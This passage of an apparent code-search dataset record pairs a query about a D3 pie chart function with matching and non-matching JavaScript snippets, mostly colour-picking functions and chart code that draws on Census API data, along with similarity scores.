getColor(DEC_10_S_2) {\n return DEC_10_S_2 >= 5000 ? '#810f7c' :\n DEC_10_S_2 >= 4000 ? '#8856a7' :\n DEC_10_S_2 >= 3000 ? '#8c96c6' :\n DEC_10_S_2 >= 2000 ? '#9ebcda' :\n DEC_10_S_2 >= 1000 ? '#bfd3e6' :\n '#ffffff';\n }", "function tableColorChangeSixteen () {\n var currentHour = Number(`${moment().format('H')}00`);\n if (currentHour > timeTable.sixteenthHour) {\n //changing of colour to past\n $(\".16\").css({\n 'background-color': '#d3d3d3',\n 'color': 'white',\n })\n // changing of color to the present css\n } else if (currentHour == timeTable.sixteenthHour) {\n $(\".16\").css({ \n 'background-color': '#ff6961',\n 'color': 'white',\n });\n } else if (currentHour < timeTable.sixteenthHour) {\n //changing of color to future\n $(\".16\").css({\n 'background-color': '#77dd77',\n 'color': 'white',\n });\n }\n}", "function daynight()\n{\n \n if (hours < 12)\n {\n dnstatus = \"Morning\";\n dn = dnstatus;\n return;\n }\n\n if (hours > 12 && hours < 16)\n {\n dnstatus = \"Afternoon\";\n dn = dnstatus;\n return;\n }\n\n if (hours > 16 && hours < 20)\n {\n dnstatus = \"Evening\";\n dn = dnstatus;\n return;\n }\n\n else\n {\n dnstatus = \"Night\";\n dn = dnstatus;\n return;\n }\n return;\n}", "function colorgenerator() {\n let colours = [],\n i;\n for (i = 0; i < 372; i++){\n colours[i] = 'hsl(' + i + ', 100%, 50%)';\n if (i > 359) {\n colours[i] = 'hsl(0, 100%, 100%)';\n }\n }\n colours = colours.toString();\n //console.log(colours);\n root.style.setProperty(\"--colours\", colours);\n}", "function getColor1(d){\n return d> 200 ? '#355C7D':\n d> 120 ? '#6C5B7B':\n d> 80 ? '#C06C84':\n d> 40 ? '#F67280':\n '#F8B195';\n }", "function getColor(d) {\n\treturn d >= 5 ? \"rgb(240, 107, 107)\" :\n\t\t\t\t\td >= 4 ? \"rgb(240, 167, 107)\" :\n\t\t\t\t\td >= 3 ? \"rgb(243, 186, 77)\" :\n\t\t\t\t\td >= 2 ? \"rgb(243, 219, 77)\" :\n\t\t\t\t\td >= 1 ? \"rgb(225, 243, 77)\" :\n\t\t\t\t\t\t\t\t\t\t\"rgb(183, 243, 77)\";\n}", "function drawNightTo(prevDays) {\n // calculate 10am of this or a previous day\n var toDate = Date();\n toDate = Date(toDate.getFullYear(), toDate.getMonth(), toDate.getDate() - prevDays, breaktod);\n\n // get width\n var width = g.getWidth();\n var center = width / 2;\n\n // reduce date by 1s to ensure correct headline\n toDate = Date(toDate.valueOf() - 1E3);\n\n // clear heading area\n g.clearRect(0, 24, width, 70);\n\n // display service states: service, loggging and powersaving\n if (!sleeplog.enabled) {\n // draw disabled service icon\n g.setColor(1, 0, 0)\n .drawImage(atob(\"FBSBAAH4AH/gH/+D//w/n8f5/nud7znP85z/f+/3/v8/z/P895+efGPj4Hw//8H/+Af+AB+A\"), 2, 36);\n } else if (!sleeplog.logfile) {\n // draw disabled log icon\n g.reset().drawImage(atob(\"EA6BAM//z/8AAAAAz//P/wAAAADP/8//AAAAAM//z/8=\"), 4, 40)\n .setColor(1, 0, 0).fillPoly([2, 38, 4, 36, 22, 54, 20, 56]);\n }\n // draw power saving icon\n if (sleeplog.powersaving) g.setColor(0, 1, 0)\n .drawImage(atob(\"FBSBAAAAcAD/AH/wP/4P/+H//h//4//+fv/nj/7x/88//Of/jH/4j/8I/+Af+AH+AD8AA4AA\"), width - 22, 36);\n\n // draw headline\n g.reset().setFont(\"12x20\").setFontAlign(0, -1);\n g.drawString(\"Night to \" + require('locale').dow(toDate, 1) + \"\\n\" +\n require('locale').date(toDate, 1), center, 30);\n\n // show loading info\n var info = \"calculating data ...\\nplease be patient :)\";\n var y0 = center + 30;\n var bounds = [center - 80, y0 - 20, center + 80, y0 + 20];\n g.clearRect.apply(g, bounds).drawRect.apply(g, bounds);\n g.setFont(\"6x8\").setFontAlign(0, 0);\n g.drawString(info, center, y0);\n\n // calculate and draw analysis after timeout for faster feedback\n if (ATID) ATID = clearTimeout(ATID);\n ATID = setTimeout(drawAnalysis, 100, toDate);\n}", "function fittsColors() {\n let colors;\n\n colors = d3.schemeSet1;\n\n colors.target = colors[5];\n colors.distance = colors[1];\n colors.width = colors[0];\n colors.indexOfDifficulty = colors[4];\n colors.logarithm = colors[2];\n colors.hotspot = colors[4];\n colors.pointer = colors[7];\n colors.ratio = colors[3];\n colors.design = colors[8];\n\n return colors;\n}", "function getColor(games) {\n if (games == \"0/0\") {\n return \"#56d2ff\";\n }\n var games = parseInt(games.split(\"/\")[0]);\n if (games == 5) {\n return \"#7ee57e\";\n } else if (games == 4) {\n return \"#adebad\";\n } else if (games == 3) {\n return \"#d8ffcc\";\n } else if (games == 2) {\n return \"#ffffcc\";\n } else if (games == 1) {\n return \"#ffd6cc\";\n } else if (games == 0) {\n return \"#f97a7a\";\n } else {\n return \"white\";\n }\n}", "function getColor(d) {\n\tfld_min = 1;\n\tfld_max = 255;\n\tfld_incr = 31.75;\n\treturn d > (fld_min + fld_incr * 7) ? '#800026' :\n\t d > (fld_min + fld_incr * 6) ? '#BD0026' :\n\t d > (fld_min + fld_incr * 5) ? '#E31A1C' :\n\t d > (fld_min + fld_incr * 4) ? '#FC4E2A' :\n\t d > (fld_min + fld_incr * 3) ? '#FD8D3C' :\n\t d > (fld_min + fld_incr * 2) ? '#FEB24C' :\n\t d > (fld_min + fld_incr * 1) ? '#FED976' :\n\t \t\t '#FFEDA0';\n}", "function colorPuntos(d) { \n\treturn d == \"Ateles geoffroyi\" ? '#FF0000' : \n\td == \"Alouatta palliata\" ? '#000000' : \n\td == \"Saimiri oerstedii\" ? '#D17656' : \n\td == \"Cebus capucinus\" ? '#FFFFFF' :\n\t\t'#0000FF'; \n}", "function getColor(d) {\n return d > 8 ? '#7f2704' :\n d > 6 ? '#a63603' :\n d > 4 ? '#fd8d3c' :\n d > 2 ? '#fdae6b' :\n d > 0 ? '#fdd0a2' :\n '#FFEDA0';\n }", "function getColor(d) {\n return d > 35 ? '#800026' :\n d > 30 ? '#BD0026' :\n d > 25 ? '#E31A1C' :\n d > 20 ? '#FC4E2A' :\n d > 15 ? '#FD8D3C' :\n d > 10 ? '#FEB24C' :\n d > 5 ? '#FED976' :\n '#FFFFFF';\n}", "function getHeaderColor(date: Date): string {\n\tvar diff = new Date().getTime() - date.getTime();\n if(diff < 0) {\n return futureDayColor;\n } else if (diff > (3600 * 1000 * 24)) {\n return previousDayColor;\n }\n return currentDayColor;\n}", "function determine_color(num) {\n if (num === 0) {\n return \"beige\";\n } else if (num === 2) {\n return \"beige\";\n } else if (num === 4) {\n return \"yellow\";\n } else if (num === 8) {\n return \"#f4b042\";\n } else if (num === 16) {\n return \"#f48641\";\n } else if (num === 32) {\n return \"#f45241\";\n } else if (num === 64) {\n return \"#ff1800\";\n } else if (num === 128) {\n return \"#ff00b2\";\n } else {\n return \"black\";\n }\n}", "getColor() {\n if (this.type == 'home' || this.type == 'goal') {\n return ['#B5FEB4', '#B5FEB4'];\n }\n\n else if (this.type == 'board') {\n return ['#F7F7FF', '#E6E6FF'];\n }\n\n else if (this.type == 'back'){\n return ['#B4B5FE', '#B4B5FE'];\n }\n }" ]
[ "0.7596548", "0.7050384", "0.68361336", "0.6784235", "0.66943926", "0.66333365", "0.65384907", "0.65181655", "0.63191235", "0.6307508", "0.6172786", "0.61533284", "0.61475813", "0.6145337", "0.6145337", "0.613329", "0.6132128", "0.6131913", "0.61245745", "0.6119887", "0.61194986", "0.6116058", "0.61103404", "0.6090596", "0.60805655", "0.60773367", "0.60623705", "0.6052789", "0.6045947", "0.6045364", "0.60421", "0.603955", "0.60285425", "0.60140306", "0.6012679", "0.6005297", "0.599663", "0.5987782", "0.59645087", "0.5958683", "0.59533083", "0.5947214", "0.59390503", "0.5939028", "0.59365594", "0.5936531", "0.5928334", "0.5908003", "0.5885894", "0.58837837", "0.58766997", "0.5876252", "0.5871306", "0.5862644", "0.58575755", "0.5855894", "0.5853586", "0.5853556", "0.5848589", "0.5844665", "0.58413124", "0.58395845", "0.5835932", "0.58330804", "0.5829401", "0.5829014", "0.58274597", "0.582457", "0.58127654", "0.5811772", "0.58079755", "0.57972467", "0.57929003", "0.57879543", "0.57852584", "0.57802594", "0.5779594", "0.57700795", "0.57653844", "0.57632023", "0.5755813", "0.5755571", "0.5750046", "0.57398784", "0.57384837", "0.5738292", "0.5727957", "0.57245606", "0.5724496", "0.57196844", "0.5719487", "0.5719", "0.57180536", "0.5717618", "0.5716881", "0.57158476", "0.57142305", "0.57129365", "0.5708948", "0.5703323" ]
0.5993035
37
function to handle pieChart.
function pieChart(pD){ var pC ={}, pieDim ={w:250, h: 250}; pieDim.r = Math.min(pieDim.w, pieDim.h) / 2; // create svg for pie chart. var piesvg = d3.select(id).append("svg") .attr("width", pieDim.w).attr("height", pieDim.h).append("g") .attr("transform", "translate("+pieDim.w/2+","+pieDim.h/2+")"); // create function to draw the arcs of the pie slices. var arc = d3.arc().outerRadius(pieDim.r - 10).innerRadius(0); // create a function to compute the pie slice angles. var pie = d3.pie().sort(null).value(function(d) { return d.size; }); // Draw the pie slices. piesvg.selectAll("path").data(pie(pD)).enter().append("path").attr("d", arc) .each(function(d) { this._current = d; }) .style("fill", function(d) { return segColor(d.data.type); }); // Animating the pie-slice requiring a custom function which specifies // how the intermediate paths should be drawn. function arcTween(a) { var i = d3.interpolate(this._current, a); this._current = i(0); return function(t) { return arc(i(t)); }; } return pC; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function OsPiechart() {\r\n $('.piechart').each(function () {\r\n var option = {segmentShowStroke: false, responsive: true};\r\n var data = [];\r\n\r\n $(this).children('.pie-legend').children('li').each(function () {\r\n var temp = {};\r\n var $this = $(this);\r\n\r\n temp.value = $this.data('value');\r\n temp.color = $this.children('.__color').css('background-color');\r\n temp.label = $this.children('.__legend').html();\r\n\r\n data.push(temp);\r\n });\r\n\r\n if ($(this).hasClass('doughnut')) {\r\n option.percentageInnerCutout = 55;\r\n }\r\n var ctx = $(this).children('.chart').children('canvas').get(0).getContext(\"2d\");\r\n\r\n var PieChart = new Chart(ctx).Pie(data, option);\r\n\r\n });\r\n }", "function pieChart(pienumber) {\n if (dataselection == \"Total population within the locality\") {\n val = \"B01003_001E\";\n } else\n if (dataselection == \"Age distribution broken down by sex\") {\n val = \"B01001_001E\";\n queue()\n .defer(d3.json, \"http://api.census.gov/data/2015/acs1?get=NAME,B01001_002E,B01001_026E&for=\" + scselection + \":*&key=576299d4bf73993515a4994ffe79fcee7fe72b09\")\n .await(function(error, data1) {\n var sum = 0;\n var data = [];\n data1.splice(0, 1);\n data1.forEach(function(elem) {\n if (elem[1] != null)\n sum += parseInt(elem[1]);\n });\n data.push({\n label: \"Male\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[2]);\n });\n data.push({\n label: \"Female\",\n val: sum\n });\n drawPieChart(pienumber, data)\n });\n } else\n if (dataselection == \"Median age by sex\") {\n val = \"B01002_001E\";\n queue()\n .defer(d3.json, \"http://api.census.gov/data/2015/acs1?get=NAME,B01002_002E,B01002_003E&for=\" + scselection + \":*&key=576299d4bf73993515a4994ffe79fcee7fe72b09\")\n .await(function(error, data1) {\n var sum = 0;\n var data = [];\n data1.splice(0, 1);\n data1.forEach(function(elem) {\n if (elem[1] != null)\n sum += parseInt(elem[1]);\n });\n data.push({\n label: \"Male\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[2]);\n });\n data.push({\n label: \"Female\",\n val: sum\n });\n drawPieChart(pienumber, data)\n });\n } else\n if (dataselection == \"Race\") {\n val = \"\tB02001_001E\";\n queue()\n .defer(d3.json, \"http://api.census.gov/data/2015/acs1?get=NAME,B02001_002E,B02001_003E,B02001_004E,B02001_005E,B02001_006E,B02001_007E,B02001_008E&for=\" + scselection + \":*&key=576299d4bf73993515a4994ffe79fcee7fe72b09\")\n .await(function(error, data1) {\n var sum = 0;\n var data = [];\n data1.splice(0, 1);\n data1.forEach(function(elem) {\n if (elem[1] != null)\n sum += parseInt(elem[1]);\n });\n data.push({\n label: \"White Alone\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[2]);\n });\n data.push({\n label: \"Black or African American Alone\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[3] != null)\n sum += parseInt(elem[3]);\n });\n data.push({\n label: \"American Indian and Alaska Native Alone\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[4] != null)\n sum += parseInt(elem[4]);\n });\n data.push({\n label: \"Asian Alone\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[5] != null)\n sum += parseInt(elem[5]);\n });\n data.push({\n label: \"Native Hawaiian and Other Pacific Islander Alone\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[6] != null)\n sum += parseInt(elem[6]);\n });\n data.push({\n label: \"American Indian and Alaska Native Alone\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[7] != null)\n sum += parseInt(elem[7]);\n });\n data.push({\n label: \"Two or More Races\",\n val: sum\n });\n\n drawPieChart(pienumber, data)\n });\n } else\n if (dataselection == \"Living arrangement for adults (18 years and over)\") {\n val = \"B09021_001E\";\n } else\n if (dataselection == \"Place of birth by nativity\") {\n val = \"C05002_001E\";\n queue()\n .defer(d3.json, \"http://api.census.gov/data/2015/acs1?get=NAME,C05002_002E,C05002_008E&for=\" + scselection + \":*&key=576299d4bf73993515a4994ffe79fcee7fe72b09\")\n .await(function(error, data1) {\n var sum = 0;\n var data = [];\n data1.splice(0, 1);\n data1.forEach(function(elem) {\n if (elem[1] != null)\n sum += parseInt(elem[1]);\n });\n data.push({\n label: \"Native\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[2]);\n });\n data.push({\n label: \"Foreign Born\",\n val: sum\n });\n drawPieChart(pienumber, data)\n });\n } else\n if (dataselection == \"Median household income\") {\n val = \"B19013_001E\";\n } else\n if (dataselection == \"Per capita income\") {\n val = \"B19301_001E\";\n } else\n if (dataselection == \"Income to poverty-level ratio\") {\n val = \"B17002_001E\";\n queue()\n .defer(d3.json, \"http://api.census.gov/data/2015/acs1?get=NAME,B17002_002E,B17002_003E,B17002_004E,B17002_005E,B17002_006E,B17002_007E,B17002_008E,B17002_009E,B17002_010E,B17002_011E,B17002_012E,B17002_013E&for=\" + scselection + \":*&key=576299d4bf73993515a4994ffe79fcee7fe72b09\")\n .await(function(error, data1) {\n var sum = 0;\n var data = [];\n data1.splice(0, 1);\n data1.forEach(function(elem) {\n if (elem[1] != null)\n sum += parseInt(elem[1]);\n });\n data.push({\n label: \"Under .50\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[2]);\n });\n data.push({\n label: \".50 to .74\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[3]);\n });\n data.push({\n label: \".75 to .99\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[4]);\n });\n data.push({\n label: \"1.00 to 1.24\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[5]);\n });\n data.push({\n label: \"1.25 to 1.49\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[6]);\n });\n data.push({\n label: \"1.50 to 1.74\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[7]);\n });\n data.push({\n label: \"1.75 to 1.84\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[8]);\n });\n data.push({\n label: \"1.85 to 1.99\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[9]);\n });\n data.push({\n label: \"2.00 to 2.99\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[10]);\n });\n data.push({\n label: \"3.00 to 3.99\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[11]);\n });\n data.push({\n label: \"4.00 to 4.99\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[12]);\n });\n data.push({\n label: \"5.00 and over\",\n val: sum\n });\n drawPieChart(pienumber, data)\n });\n } else\n if (dataselection == \"Poverty level by place of birth\") {\n val = \"B06012_001E\";\n\n } else\n if (dataselection == \"Educational attainment by place of birth\") {\n\n queue()\n .defer(d3.json, \"http://api.census.gov/data/2015/acs1?get=NAME,B06009_007E,B06009_013E,B06009_019E,B06009_025E&for=\" + scselection + \":*&key=576299d4bf73993515a4994ffe79fcee7fe72b09\")\n .defer(d3.json, \"http://api.census.gov/data/2015/acs1?get=NAME,B06009_002E,B06009_003E,B06009_004E,B06009_005E,B06009_006E&for=\" + scselection + \":*&key=576299d4bf73993515a4994ffe79fcee7fe72b09\")\n .await(function(error, data1, data2) {\n var sum = 0;\n var data = [];\n data1.splice(0, 1);\n data1.forEach(function(elem) {\n if (elem[1] != null)\n sum += parseInt(elem[1]);\n });\n data.push({\n label: \"Born in State of Residence\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[2]);\n });\n data.push({\n label: \"Born in Other State in the United States\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[3]);\n });\n data.push({\n label: \"Native; Born Outside the United States\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[4]);\n });\n data.push({\n label: \"Foreign Born\",\n val: sum\n });\n sum = 0;\n\n drawPieChart('pie1', data);\n\n\n var sum = 0;\n var data = [];\n data2.splice(0, 1);\n data2.forEach(function(elem) {\n if (elem[1] != null)\n sum += parseInt(elem[1]);\n });\n data.push({\n label: \"Less than High School Graduate\",\n val: sum\n });\n sum = 0;\n data2.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[2]);\n });\n data.push({\n label: \"High School Graduate (Includes Equivalency)\",\n val: sum\n });\n sum = 0;\n data2.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[3]);\n });\n data.push({\n label: \"Some College or Associate's Degree\",\n val: sum\n });\n sum = 0;\n data2.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[4]);\n });\n data.push({\n label: \"Bachelor's Degree\",\n val: sum\n });\n sum = 0;\n data2.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[5]);\n });\n data.push({\n label: \"Graduate or Professional Degree\",\n val: sum\n });\n\n drawPieChart('pie2', data)\n });\n } else\n if (dataselection == \"Travel time to work\") {\n val = \"B08303_001E\";\n queue()\n .defer(d3.json, \"http://api.census.gov/data/2015/acs1?get=NAME,B08303_002E,B08303_003E,B08303_004E,B08303_005E,B08303_006E,B08303_007E,B08303_008E,B08303_009E,B08303_010E,B08303_011E,B08303_012E,B08303_013E&for=\" + scselection + \":*&key=576299d4bf73993515a4994ffe79fcee7fe72b09\")\n .await(function(error, data1) {\n var sum = 0;\n var data = [];\n data1.splice(0, 1);\n data1.forEach(function(elem) {\n if (elem[1] != null)\n sum += parseInt(elem[1]);\n });\n data.push({\n label: \"Under .50\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[2]);\n });\n data.push({\n label: \"5 to 9 Minutes\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[3]);\n });\n data.push({\n label: \"10 to 14 Minutes\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[4]);\n });\n data.push({\n label: \"15 to 19 Minutes\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[5]);\n });\n data.push({\n label: \"20 to 24 Minutes\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[6]);\n });\n data.push({\n label: \"25 to 29 Minutes\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[7]);\n });\n data.push({\n label: \"30 to 34 Minutes\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[8]);\n });\n data.push({\n label: \"35 to 39 Minutes\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[9]);\n });\n data.push({\n label: \"40 to 44 Minutes\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[10]);\n });\n data.push({\n label: \"45 to 59 Minutes\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[11]);\n });\n data.push({\n label: \"60 to 89 Minutes\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[12]);\n });\n data.push({\n label: \"90 or More Minutes\",\n val: sum\n });\n drawPieChart(pienumber, data)\n });\n } else\n if (dataselection == \"Means of transportation to work\") {\n val = \"B08301_001E\";\n queue()\n .defer(d3.json, \"http://api.census.gov/data/2015/acs1?get=NAME,B08301_002E,B08301_010E,B08301_016E,B08301_017E,B08301_018E,B08301_019E,B08301_020E,B08301_021E&for=\" + scselection + \":*&key=576299d4bf73993515a4994ffe79fcee7fe72b09\")\n .await(function(error, data1) {\n var sum = 0;\n var data = [];\n data1.splice(0, 1);\n data1.forEach(function(elem) {\n if (elem[1] != null)\n sum += parseInt(elem[1]);\n });\n data.push({\n label: \"Car, Truck, or Van\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[2]);\n });\n data.push({\n label: \"Public Transportation (Excluding Taxicab)\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[3]);\n });\n data.push({\n label: \"Taxicab\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[4]);\n });\n data.push({\n label: \"Motorcycle\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[5]);\n });\n data.push({\n label: \"Bicycle\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[6]);\n });\n data.push({\n label: \"Walked\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[7]);\n });\n data.push({\n label: \"Other Means\",\n val: sum\n });\n sum = 0;\n data1.forEach(function(elem) {\n if (elem[2] != null)\n sum += parseInt(elem[8]);\n });\n data.push({\n label: \"Worked at Home\",\n val: sum\n });\n drawPieChart(pienumber, data)\n });\n }\n}", "function pieChart(pD) {\n var pC = {},\n pieDim = {\n w: 250,\n h: 250\n };\n pieDim.r = Math.min(pieDim.w, pieDim.h) / 2;\n // create svg for pie chart.\n var piesvg = d3.select(id).append(\"svg\")\n .attr(\"width\", pieDim.w).attr(\"height\", pieDim.h).append(\"g\")\n .attr(\"transform\", \"translate(\" + pieDim.w / 2 + \",\" + pieDim.h / 2 + \")\");\n // create function to draw the arcs of the pie slices.\n var arc = d3.svg.arc().outerRadius(pieDim.r - 10).innerRadius(0);\n // create a function to compute the pie slice angles.\n var pie = d3.layout.pie().sort(null).value(function(d) {\n return d.freq;\n });\n // Draw the pie slices.\n piesvg.selectAll(\"path\").data(pie(pD)).enter().append(\"path\").attr(\"d\", arc)\n .each(function(d) {\n this._current = d;\n })\n .style(\"fill\", function(d) {\n return segColor(d.data.type);\n })\n .on(\"mouseover\", mouseover).on(\"mouseout\", mouseout);\n // create function to update pie-chart. This will be used by histogram.\n pC.update = function(nD) {\n piesvg.selectAll(\"path\").data(pie(nD)).transition().duration(500)\n .attrTween(\"d\", arcTween);\n }\n // Utility function to be called on mouseover a pie slice.\n function mouseover(d) {\n // call the update function of histogram with new data.\n hG.update(data.map(function(v) {\n return [v.Range, v.freq[d.data.type]];\n }), segColor(d.data.type));\n }\n //Utility function to be called on mouseout a pie slice.\n function mouseout(d) {\n // call the update function of histogram with all data.\n hG.update(data.map(function(v) {\n return [v.Range, v.total];\n }), barColor);\n }\n // Animating the pie-slice requiring a custom function which specifies\n // how the intermediate paths should be drawn.\n function arcTween(a) {\n var i = d3.interpolate(this._current, a);\n this._current = i(0);\n return function(t) {\n return arc(i(t));\n };\n }\n return pC;\n }", "function graph_pie_generate(data,dom,title,subtitle,name,color)\n{\n if (color != null) \n {\n $('#' + dom).highcharts({\n chart: {\n type: 'pie',\n options3d: {\n enabled: true,\n alpha: 45,\n beta: 0\n }\n },\n title: {\n text: title\n },\n subtitle: {\n text: subtitle\n },\n tooltip: {\n pointFormat: '{series.name}: <b>{point.percentage:.1f}%</b>'\n },\n plotOptions: {\n pie: {\n allowPointSelect: true,\n cursor: 'pointer',\n depth: 35,\n dataLabels: {\n enabled: true,\n format: '{point.name}'\n }\n }\n },\n colors: color,\n series: [{\n name: name,\n data: data\n }]\n });\n }\n else\n {\n $('#' + dom).highcharts({\n chart: {\n type: 'pie',\n options3d: {\n enabled: true,\n alpha: 45,\n beta: 0\n }\n },\n title: {\n text: title\n },\n subtitle: {\n text: subtitle\n },\n tooltip: {\n pointFormat: '{series.name}: <b>{point.percentage:.1f}%</b>'\n },\n plotOptions: {\n pie: {\n allowPointSelect: true,\n cursor: 'pointer',\n depth: 35,\n dataLabels: {\n enabled: true,\n format: '{point.name}'\n }\n }\n },\n series: [{\n name: name,\n data: data\n }]\n });\n }\n \n}", "function generatePieChart() {\n var pieChartOutline = {\n \t\"header\": {\n \t\t\"title\": {\n \t\t\t\"text\": \"Inheritance\",\n \t\t\t\"fontSize\": 20,\n \t\t\t\"font\": \"Helvetica Neue\",\n // \"font-weight\": \"bold\",\n \t\t},\n \t\t\"subtitle\": {\n \"text\": \"\",\n \"color\": \"#ffffff\",\n \t\t\t\"fontSize\": 12,\n \t\t\t\"font\": \"open sans\"\n \t\t},\n \t\t\"titleSubtitlePadding\": 9\n \t},\n \t\"footer\": {\n \"color\": \"#999999\",\n \t\t\"fontSize\": 15,\n \t\t\"font\": \"open sans\",\n \t\t\"location\": \"\"\n \t},\n \t\"size\": {\n \"canvasHeight\": 350,\n \t\t\"canvasWidth\": 450,\n \t\t\"pieOuterRadius\": \"90%\"\n \t},\n \t\"data\": {\n \t\t\"sortOrder\": \"value-desc\",\n \t\t\"content\": [\n \t\t\t{\n \t\t\t\t\"label\": \"Inherited\",\n \t\t\t\t\"value\": $(\".source_data\").data(\"inherited\"),\n \t\t\t\t\"color\": \"#2484c1\"\n \t\t\t},\n \t\t\t{\n \t\t\t\t\"label\": \"De novo\",\n \t\t\t\t\"value\": $(\".source_data\").data(\"denovo\"),\n \t\t\t\t\"color\": \"#71afd7\"\n \t\t\t},\n \t\t\t{\n \t\t\t\t\"label\": \"Unknown\",\n \t\t\t\t\"value\": $(\".source_data\").data(\"unknown\"),\n \t\t\t\t\"color\": \"#4daa4b\"\n \t\t\t}\n \t\t]\n \t},\n \"labels\": {\n\t\t\"outer\": {\n\t\t\t\"pieDistance\": 32\n\t\t},\n\t\t\"inner\": {\n \"format\": \"value\",\n\t\t\t\"hideWhenLessThanPercentage\": 3\n\t\t},\n\t\t\"mainLabel\": {\n\t\t\t\"fontSize\": 16\n\t\t},\n\t\t\"percentage\": {\n\t\t\t\"color\": \"#ffffff\",\n\t\t\t\"decimalPlaces\": 0,\n \"fontSize\": 14\n\t\t},\n\t\t\"value\": {\n\t\t\t\"color\": \"#ffffff\",\n\t\t\t\"fontSize\": 14\n\t\t},\n\t\t\"lines\": {\n\t\t\t\"enabled\": true\n\t\t},\n\t\t\"truncation\": {\n\t\t\t\"enabled\": true\n\t\t}\n\t},\n\t\"effects\": {\n // Remove to re-enable effects\n \"load\": { //this\n\t\t\t\"effect\": \"none\" //this\n\t\t}, //this\n\t\t\"pullOutSegmentOnClick\": {\n\t\t\t// \"effect\": \"linear\", // put this back in\n \"effect\": \"none\", //this\n \"speed\": 400,\n\t\t\t\"size\": 8\n\t\t}, // this (only the comma)\n \"highlightSegmentOnMouseover\": false, //this\n\t\t\"highlightLuminosity\": -0.5 //this\n\t},\n\t\"misc\": {\n\t\t\"gradient\": {\n\t\t\t\"enabled\": true,\n\t\t\t\"percentage\": 100\n\t\t}\n\t}\n};\n\n // Scale down the pie chart, title, and labels if the screen is narrower than 580 pixels\n if (window.innerWidth <= 580) {\n pieChartOutline.size.canvasWidth = parseInt(225 * window.innerWidth / 580 + 225);\n pieChartOutline.size.canvasHeight = parseInt(175 * window.innerWidth / 580 + 175);\n pieChartOutline.header.title.fontSize = parseInt(10 * window.innerWidth / 580 + 10);\n pieChartOutline.labels.mainLabel.fontSize = parseInt(8 * window.innerWidth / 580 + 8);\n pieChartOutline.labels.value.fontSize = parseInt(7 * 